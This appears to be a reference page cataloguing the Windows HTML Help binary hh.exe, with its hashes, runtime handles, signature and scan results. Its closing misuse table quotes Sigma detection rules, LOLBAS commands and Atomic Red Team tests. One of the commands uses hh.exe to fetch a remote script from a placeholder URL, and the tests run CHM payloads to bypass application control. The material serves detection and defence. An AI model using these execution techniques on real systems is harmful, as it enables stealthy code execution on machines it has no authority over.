hh.exe

  • File Path: C:\Windows\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 2C8FE78D53C8CA27523A71DFD2938241
SHA1 0111959E0F521D0C01D258ABBB42BBA9C23E407D
SHA256 EB63FD45ED7EC773ECCAF0F20D44BC9B4ED0A3E01779D62321B1DA954A0F6EB8
SHA384 FC24F86CFAF2D1CC7EBFBF7718D7ABDFC65B12BE11C76E2260835438A2D3B60655D6248E58F482610BD138CB0BE4E3D4
SHA512 4FBA46ECC4F12BAE5F4C46D4D6136BB0BABF1ABF7327E5210D1291D786CE2262473212A64DA35114776B1CE26EAD734A9FD3972FFA0F294D97AB6907953FD137
SSDEEP 192:U8kHEFbfhORz4NqRGQE7KpcPUKU/dlk06Sl0+m5GJ1KDJD/QWc7:U8kH67heMMRGQEOpR/dlk06I1KDuWc7
IMP D3D9C3E81A404E7F5C5302429636F04C
PESHA1 59C8F3207BFFB145504CFAE687C1BBD6AE2B7E25
PE256 12F6D248A1D3661735FDC7AF92632A3DE629361D6AB9B68E9760DED97C784B71

Runtime Data

Window Title:

File Download

Open Handles:

Path Type
(R–) C:\Users\user\AppData\Local\Temp~DF742340B93F3B9977.TMP File
(R-D) C:\Windows\apppatch\DirectXApps_FOD.sdb File
(R-D) C:\Windows\en-US\hh.exe.mui File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\hhctrl.ocx.mui File
(R-D) C:\Windows\System32\en-US\ieframe.dll.mui File
(R-D) C:\Windows\System32\en-US\mshtml.dll.mui File
(R-D) C:\Windows\System32\en-US\propsys.dll.mui File
(R-D) C:\Windows\System32\en-US\urlmon.dll.mui File
(R-D) C:\Windows\System32\en-US\user32.dll.mui File
(R-D) C:\Windows\System32\ieframe.dll File
(R-D) C:\Windows\SystemResources\ieframe.dll.mun File
(R-D) C:\Windows\WinSxS\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.19041.1_en-us_cb612d02732b0fd9\comctl32.dll.mui File
(RW-) C:\Users\user File
(RW-) C:\Users\user\help File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.19041.1_en-us_cb612d02732b0fd9 File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.488_none_4238de57f6b64d28 File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_ca04af081b815d21 File
(RWD) C:\Users\user File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db File
(RWD) C:\Users\user\AppData\Local\Temp~DF7CA6DA5EA1AEEB02.TMP File
(RWD) C:\Windows\Fonts File
(RWD) C:\Windows\Fonts\segoeui.ttf File
\BaseNamedObjects__ComCatalogCache__ Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2 Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\1\BaseNamedObjects\d34HWNDInterface:3e0720 Section
\Sessions\1\BaseNamedObjects\d34HWNDInterface:6d0474 Section
\Sessions\1\BaseNamedObjects\MSIMGSIZECacheMap Section
\Sessions\1\BaseNamedObjects\UrlZonesSM_user Section
\Sessions\1\BaseNamedObjects\windows_ie_global_counters Section
\Sessions\1\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\1\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-2047949552-857980807-821054962-504 Section
\Sessions\1\Windows\Theme1175649999 Section
\Windows\Theme601709542 Section

Loaded Modules:

Path
C:\Windows\hh.exe
C:\Windows\System32\ADVAPI32.dll
C:\Windows\System32\combase.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\System32\hhctrl.ocx
C:\Windows\System32\IMM32.DLL
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ole32.dll
C:\Windows\System32\OLEAUT32.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\sechost.dll
C:\Windows\System32\SHELL32.dll
C:\Windows\System32\SHLWAPI.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\System32\win32u.dll
C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.488_none_4238de57f6b64d28\COMCTL32.dll

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.1 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/76
  • VirusTotal Link: https://www.virustotal.com/gui/file/eb63fd45ed7ec773eccaf0f20d44bc9b4ed0a3e01779d62321b1da954a0f6eb8/detection

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 38
C:\WINDOWS\hh.exe 35
C:\Windows\hh.exe 40
C:\windows\hh.exe 41
C:\WINDOWS\hh.exe 36
C:\WINDOWS\SysWOW64\hh.exe 36
C:\Windows\SysWOW64\hh.exe 43
C:\WINDOWS\SysWOW64\hh.exe 32
C:\Windows\SysWOW64\hh.exe 40
C:\Windows\SysWOW64\hh.exe 35
C:\windows\SysWOW64\hh.exe 35

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

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